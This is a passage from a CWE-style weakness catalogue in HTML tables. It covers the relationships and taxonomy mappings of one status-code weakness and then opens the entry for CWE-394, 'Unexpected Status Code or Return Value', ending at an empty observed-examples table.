<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>699 672</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
<td>1000 1067</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1000 1105</td>
</tr>

</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

**Relationship Notes**
This can be primary or resultant, but it is probably most often primary to other issues.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Wrong Status Code</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP6</td>
<td>Incorrect Exception Behavior</td>
</tr>
</tbody>
</table>
Maintenance Notes
This probably overlaps various categories, especially those related to error handling.

CWE-394: Unexpected Status Code or Return Value

<table>
<thead>
<tr>
<th>Weakness ID: 394 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary
The software does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the software.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Other
Unexpected state
Alter execution logic

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
